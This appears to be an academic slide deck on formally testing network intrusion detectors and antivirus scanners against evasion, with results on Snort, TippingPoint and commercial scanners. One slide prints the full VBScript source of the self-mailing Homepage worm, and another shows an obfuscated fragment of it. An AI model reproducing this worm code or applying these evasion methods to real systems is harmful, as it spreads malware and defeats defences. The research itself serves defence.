Testing Defensive Systems

1. NIDS
   Problem: Find an attack instance that eludes a NIDS.
   Solution: Attack generation using natural deduction.
   Shai Rubin · Somesh Jha · Bart Miller

2. Virus scanners
   Problem: Generate virus sample that evades AV tool.
   Solution: Guided attack generation using oracle access.
   Mihai Christodorescu · Somesh Jha
Problem

Given:
- a defensive system (NIDS, virus scanner)
- a known attack
- a set of transformation rules: TCP/IP fragmentation, code obfuscation, etc.

- How can we test, or even verify, that a defensive system detects all instances of a given attack?
Automatic Generation and Analysis of NIDS Attacks

Shai Rubin  
Somesh Jha   Barton P. Miller

University of Wisconsin, Madison
Misuse Network Intrusion Detection System (NIDS)

Attacker → NIDS → Network

Signature database

GET <URL>/cmd.exe
Misuse Network Intrusion Detection System (NIDS)

• Misuse-NIDS task: detect known attacks
Misuse Network Intrusion Detection System (NIDS)

- Misuse-NIDS task: detect known attacks
- The security a NIDS provides primarily depends on its ability to resist attackers’ attempts to evade it
Current NIDS Evaluation

Many researchers (and attackers) have shown how to evade a NIDS

– Ptacek and Newsham, 1998
– Handley and Paxson, 2001
– Marty, 2002
– Vigna, Robertson, and Balzarotti, 2004
– Rubin, Jha, Miller, 2004
– And others...

Observation: NIDS evaluation is not carried out using a well defined threat model based on formal methods.
Our Goal

A formal threat model for NIDS testing

Why a formal model?

– enables solid reasoning about the system capabilities
– facilitates applications beyond testing
– successfully used in the past (e.g., protocol verification)
NIDS Task: is it well defined?

• NIDS Task: Identify the “Sasser” set (threat)
• NIDS Testing: Compare “Sasser” to “NIDS Sasser” (NIDS behavior)
NIDS Task: is it well defined?

• **NIDS Task**: Identify the “Sasser” set (threat)
• **NIDS Testing**: Compare “Sasser” to “NIDS Sasser” (NIDS behavior)
NIDS Task: is it well defined?

- **NIDS Task**: Identify the “Sasser” set (threat)
- **NIDS Testing**: Compare “Sasser” to “NIDS Sasser” (NIDS behavior)
- NIDS task is not well defined unless the threat is well defined
- Consequently, NIDS testing is not well defined
Contributions

• A formal threat model for NIDS evaluation.
  – Black hat: generating attack variants (test cases)
  – White hat: determine if a TCP sequence is an attack
  – Unifies existing techniques for NIDS testing
• Practical tool. Used for black and white hat purposes
• Improving Snort. Found and proposed fixes for 5 vulnerabilities
• Improving TippingPoint. Found and reported two vulnerabilities
The Attacker’s Mind: Transformations

- Transformation
  - Fragmentation
  - Retransmission
  - Out-of-order
  - Substitution
  - Context padding

- Transport level
- Application level

Rubin, Jha, Miller
14 Feb. 2005
Composing Transformations

FTP Attack: CAN-2002-0126

Vulnerability: any pattern from the type foo*bar

Snort Behavior

Detected
Detected
Not Detected
Transformations: Summary

- Transformations are simple
- Transformations are semantics preserving (sound)
- Transformations are syntactic manipulations
- Transformations can be composed

Idea: Transformations define the threat
Goal: define/find a formal method that enables systematic composition of transformations
Natural Deduction

• A set of rules expressing how valid proofs may be constructed.
• Rules are simple, sound.
• Rules are syntactic transformations.
• Rules can be composed to derive theorems.

\[ \frac{P, Q}{P \land Q} \]

*If both \( P \) and \( Q \) are true, then \( P \land Q \) is true*

*(conjunction)*
Natural Deduction as a Transformation System

• Observation: natural deduction is a suitable mechanism to describe attack transformation:

\[ \text{attack} \quad \text{if A is an attack instance, then} \]
\[ \text{att} \quad \text{fragmentation of A is also an attack instance} \quad \text{ack} \]

• Rules derive attacks
• A set of rules defines an attack derivation model
Threat: Attack Derivation Model

Representative Instance

Transformation Rules

\[ \text{root}_A \]

\[ \Phi_A \]

\[ \text{closure}(\text{Root}_A, \Phi_A) \]
Main Ideas

- Formal model for attack derivation
- Black hat tool for attack generation
- Proof of completeness
- White hat tool for attack analysis
AGENT: _Attack_ Generation for _NIDS_ Testing

Attack Derivation Model

- Transformation Rules
- Representative Instance

Closure Generator

Attack Simulator

- Attack Instance
- NIDS
- Detect?

If No:
- Eluding Instance

If Yes:
- Yes, check another
Testing Methodology

• Rules for:
  – Transport level (TCP)
  – Application level (FTP, finger, HTTP)
  – Total of nine rules

• Representative attacks
  – finger (finger root)
  – HTTP (perl-in-CGI)
  – FTP (ftp-cwd)

• Testing phases
  – 7 phases
  – 2-3 rules each phase
Tested NIDS

• Snort:
  – Publicly available, cost $0, the most widely used NIDS (>91%)
  – Base for a commercial product by Sourcefire INC. From the press: “IBM adds sourcefire system to its security services offering” Aug. 2004

• TippingPoint
  – Commercial product, cost $50,000
  – Awards:
## Snort Testing Summary

<table>
<thead>
<tr>
<th>phase</th>
<th>attack</th>
<th>rules</th>
<th>instances</th>
<th>% of eluding instances</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>finger</td>
<td>TCP: frag + permute</td>
<td>1,631</td>
<td>0</td>
</tr>
<tr>
<td>2</td>
<td>finger</td>
<td>TCP: frag + permute+ retrans</td>
<td>3,628,960</td>
<td>33</td>
</tr>
<tr>
<td>3</td>
<td>finger</td>
<td>finger: padding</td>
<td>25</td>
<td>0</td>
</tr>
<tr>
<td>4</td>
<td>finger</td>
<td>TCP: frag + permute finger: padding</td>
<td>6,812,346</td>
<td>0.15</td>
</tr>
<tr>
<td>5</td>
<td>perl-in-cgi</td>
<td>TCP frag HTTP padding</td>
<td>677,960&lt;sup&gt;a&lt;/sup&gt;</td>
<td>99</td>
</tr>
<tr>
<td>6</td>
<td>perl-in-cgi</td>
<td>HTTP pipelining</td>
<td>100</td>
<td>99</td>
</tr>
<tr>
<td>7</td>
<td>ftp-cwd</td>
<td>TCP: frag FTP: padding</td>
<td>178,585&lt;sup&gt;a&lt;/sup&gt;</td>
<td>23</td>
</tr>
</tbody>
</table>

<sup>a</sup> full closure not generated
### Snort Vulnerabilities Found

<table>
<thead>
<tr>
<th>Name</th>
<th>Enables attackers to:</th>
<th>Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Evasive RST</td>
<td>Hide any TCP-based attack</td>
<td>Yes, v2.0.2</td>
</tr>
<tr>
<td>Flushing</td>
<td>Hide any attack that its signature can be inflated (i.e. pad)</td>
<td>NO</td>
</tr>
<tr>
<td>HTTP padding</td>
<td>Hide any HTTP-based attack</td>
<td>Yes, V2.1.0</td>
</tr>
<tr>
<td>HTTP pipelining</td>
<td></td>
<td></td>
</tr>
<tr>
<td>FTP context padding</td>
<td>Hide any attack with a signature of the form “foo*bar”</td>
<td>Yes, v2.0.6</td>
</tr>
</tbody>
</table>
Testing Results

• Snort: 5 vulnerabilities in less then 2 months
  – TCP reassembly, pattern matching algorithms, HTTP handling.

• TippingPoint: 2 vulnerabilities (TCP handling) in a month

• Positives results: show that Snort/TippingPoint correctly identify all instances of a given type

• Positive results: finding TippingPoint vulnerabilities requires much more resources than finding Snort vulnerabilities
Main Ideas

- Formal model for attack derivation
- Black hat tool for attack generation
- Proof of completeness
- White hat tool for attack analysis
Goal: Compute All Attack Instances

<table>
<thead>
<tr>
<th>Is the initial instance unique?</th>
<th>Yes, when the set of rules is uniform and reversible</th>
</tr>
</thead>
<tbody>
<tr>
<td>Are all attack instances derivable from each other?</td>
<td>Yes, when the set of rules is uniform and reversible</td>
</tr>
</tbody>
</table>

We formally proved that common transformations are uniform and reversible.
Reversibility of Transformations

FTP Attack: CAN-2002-0126

CWD <4000 bytes>

CWD /tmp
CWD <4000 bytes>

CWD /tmp
CWD <4000 bytes>

CWD /tmp
CWD <4000 bytes>
Reversibility of Transformations

FTP Attack: CAN-2002-0126

CWD <4000 bytes>\n
CWD /tmp\nCWD <4000 ... bytes>\n
CWD /tmp\nCWD <4000 ... ytes>\n
CWD / tmp\nCWD <4000 ... ytes>\n
Rubin, Jha, Miller
Uniformity of Attack Derivation

FTP Attack: CAN-2002-0126
The Lessons to Take Home

• A well define threat model is necessary for a rigorous NIDS evaluation
• A formal threat model can be developed for large and complex security systems like NIDS
• A formal threat model provides solid insight into your NIDS
Automated Testing and Signature Discovery for Malware Detectors

Mihai Christodorescu
Somesh Jha

University of Wisconsin, Madison
Goals

- Construct a formal threat model for malware detectors.

- Measure a malware detector’s resilience to evasion attacks.

- Develop analytical techniques to improve resilience.
Threat Model

• An attacker tries to make malware appear benign.

• Obfuscation:
  – A type of code transformation.
  – Result has same functionality, different form.
Renaming Obfuscation

Fragment of *Homepage* e-mail worm:

```vbs
On Error Resume Next
...
Set InF=FSO.OpenTextFile(WScript.ScriptFullName,1)
...
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
```

Obfuscated fragment of *Homepage* e-mail worm:

```vbs
On Error Resume Next
...
Set will=rumor.OpenTextFile(WScript.ScriptFullName,1)
...
Set ego=rumor.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
```
Obfuscations: Summary

• Obfuscations are simple code transformations.
• Obfuscations are semantic-preserving.
• Obfuscations are composable.

Key Insight:

Formalize obfuscations as building blocks of the threat model.
Threat Model: Attack Derivation

Virus Instance + Obfuscation Rules

$\text{root}_A$

$\Phi_A$

closure($\text{Root}_A, \Phi_A$)
Malware Detector Resilience

How resistant is a virus scanner to obfuscations or variants of known worms?

Variable renaming
Code encapsulation
Garbage insertion
Code reordering

Virus Scanner

Detected / Not detected

Obfuscated Worm

Obfuscation Algorithm

Parameter Generator

Worm

Christodorescu, Jha

14 Feb. 2005
AV False Negative Rate by Worm

Sophos cannot cope with obfuscations.

No improvement over time.
Analysis to Improve Resilience

Using the limitations of a malware detector, can a blackhat determine its detection algorithm?

• Use adaptive testing to **learn the signature** employed by the malware detector.
Sample Virus Signature

On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO= CreateObject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)
Set InF=FSO.OpenTextFile(WScript.ScriptFullName,1)
Do While InF.AtEndOfStream<>True
   ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
OutF.close
Set FSO=Nothing
If WS.regread ("HKCU\software\An\mailed") <> "1" then
   Mailit()
End If

Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
   Set Mail=Outlook.CreateItem(0)
   Set Contact = Mail.AddressEntries(0)
   Mail.To = Contact.Address
   Mail.Subject = "Homepage"
   Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf
   Set Attachment=Mail.Attachments
   Attachment.Add Folder & "\homepage.HTML.vbs"
   Mail.DeleteAfterSubmit = True
   If Mail.To <> "" Then
      Mail.Send
      WS.regwrite "HKCU\software\An\mailed", "1"
   End If
End Function
Discovered AV Signatures

Worm sample: *Homepage*

- Norton AntiVirus

  Attachment.Add Folder & "\homepage.HTML.vbs"

- Sophos Antivirus

  *The whole body of the malware.*

- McAfee Virus Scan

  On Error Resume Next
  Set InF = FSO.OpenTextFile( WScript.ScriptFullname, 1 )
  Set OutF = FSO.OpenTextFile( Folder & "\homepage.HTML.vbs", 2, true )
Improving Resilience

• Use signature extraction to highlight the areas that need improvement.

• Apply program normalization:
  – “Undo” obfuscations.
  – Present a “normalized” input to the malware detector.
Lessons Learned

• A formal threat model allows us to reason about malware detectors:
  – Determine their strengths and weaknesses.
  – Focus the work on improving resilience.

• Commercial virus scanners have poor resilience to common obfuscation transformations.